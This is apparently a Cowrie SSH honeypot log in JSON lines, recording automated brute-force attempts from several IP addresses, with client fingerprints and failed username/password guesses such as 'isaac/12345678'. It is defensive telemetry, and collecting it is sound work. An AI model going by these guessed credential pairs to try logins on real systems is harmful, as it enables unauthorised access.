{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:21:57.001580Z","src_ip":"152.32.129.186","session":"5bc9dff61f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"3340bc6803c2","protocol":"ssh","message":"New connection: 138.128.241.222:56712 (159.203.135.109:22) [session: 3340bc6803c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:22:22.544962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:22:22.548031Z","src_ip":"138.128.241.222","session":"3340bc6803c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:22:22.552226Z","src_ip":"138.128.241.222","session":"3340bc6803c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gxc","password":"gxc2018!","message":"login attempt [gxc/gxc2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:22:22.563337Z","src_ip":"138.128.241.222","session":"3340bc6803c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:22:23.570014Z","src_ip":"138.128.241.222","session":"3340bc6803c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51164,"dst_ip":"10.17.0.5","dst_port":22,"session":"b15fa5c3d619","protocol":"ssh","message":"New connection: 195.178.110.218:51164 (10.17.0.5:22) [session: b15fa5c3d619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:03.178545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:03.183037Z","src_ip":"195.178.110.218","session":"b15fa5c3d619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:03.262728Z","src_ip":"195.178.110.218","session":"b15fa5c3d619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:03.501625Z","src_ip":"195.178.110.218","session":"b15fa5c3d619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:04.583064Z","src_ip":"195.178.110.218","session":"b15fa5c3d619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":46876,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a459c5a7691","protocol":"ssh","message":"New connection: 103.13.206.100:46876 (10.17.0.5:22) [session: 7a459c5a7691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:34.986231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:34.990763Z","src_ip":"103.13.206.100","session":"7a459c5a7691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:35.228200Z","src_ip":"103.13.206.100","session":"7a459c5a7691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"isaac","password":"12345678","message":"login attempt [isaac/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:36.212642Z","src_ip":"103.13.206.100","session":"7a459c5a7691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:37.451638Z","src_ip":"103.13.206.100","session":"7a459c5a7691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":22078,"dst_ip":"10.17.0.5","dst_port":22,"session":"04e0ec673a8d","protocol":"ssh","message":"New connection: 152.32.129.186:22078 (10.17.0.5:22) [session: 04e0ec673a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:41.178830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:41.183105Z","src_ip":"152.32.129.186","session":"04e0ec673a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:41.399109Z","src_ip":"152.32.129.186","session":"04e0ec673a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"irene","password":"1234","message":"login attempt [irene/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:42.297066Z","src_ip":"152.32.129.186","session":"04e0ec673a8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:23:43.515562Z","src_ip":"152.32.129.186","session":"04e0ec673a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":50258,"dst_ip":"10.17.0.5","dst_port":22,"session":"02c2ae9947eb","protocol":"ssh","message":"New connection: 152.32.129.186:50258 (10.17.0.5:22) [session: 02c2ae9947eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:25:31.390869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:25:31.395216Z","src_ip":"152.32.129.186","session":"02c2ae9947eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:25:31.608173Z","src_ip":"152.32.129.186","session":"02c2ae9947eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dave","password":"Dave123!","message":"login attempt [dave/Dave123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:25:32.492447Z","src_ip":"152.32.129.186","session":"02c2ae9947eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:25:33.708880Z","src_ip":"152.32.129.186","session":"02c2ae9947eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57700,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee6434cb639","protocol":"ssh","message":"New connection: 103.13.206.100:57700 (10.17.0.5:22) [session: 6ee6434cb639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:26:37.576959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:26:37.581887Z","src_ip":"103.13.206.100","session":"6ee6434cb639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:26:37.817682Z","src_ip":"103.13.206.100","session":"6ee6434cb639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fran","password":"Fran123!","message":"login attempt [fran/Fran123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:26:38.793134Z","src_ip":"103.13.206.100","session":"6ee6434cb639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:26:40.093402Z","src_ip":"103.13.206.100","session":"6ee6434cb639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":10502,"dst_ip":"10.17.0.5","dst_port":22,"session":"7542556ae1d9","protocol":"ssh","message":"New connection: 152.32.129.186:10502 (10.17.0.5:22) [session: 7542556ae1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:21.372547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:21.377092Z","src_ip":"152.32.129.186","session":"7542556ae1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:21.595221Z","src_ip":"152.32.129.186","session":"7542556ae1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radio","password":"radio123","message":"login attempt [radio/radio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:22.500932Z","src_ip":"152.32.129.186","session":"7542556ae1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:23.725233Z","src_ip":"152.32.129.186","session":"7542556ae1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":35694,"dst_ip":"159.203.135.109","dst_port":22,"session":"933d7b2a2be9","protocol":"ssh","message":"New connection: 135.181.101.111:35694 (159.203.135.109:22) [session: 933d7b2a2be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:50.747704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:50.753434Z","src_ip":"135.181.101.111","session":"933d7b2a2be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:50.862013Z","src_ip":"135.181.101.111","session":"933d7b2a2be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"privatekeys","password":"privatekeys2017@","message":"login attempt [privatekeys/privatekeys2017@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:51.081175Z","src_ip":"135.181.101.111","session":"933d7b2a2be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:27:52.191255Z","src_ip":"135.181.101.111","session":"933d7b2a2be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47276,"dst_ip":"10.17.0.5","dst_port":22,"session":"2399c58162d3","protocol":"ssh","message":"New connection: 2.57.122.208:47276 (10.17.0.5:22) [session: 2399c58162d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:28:22.147970Z"}
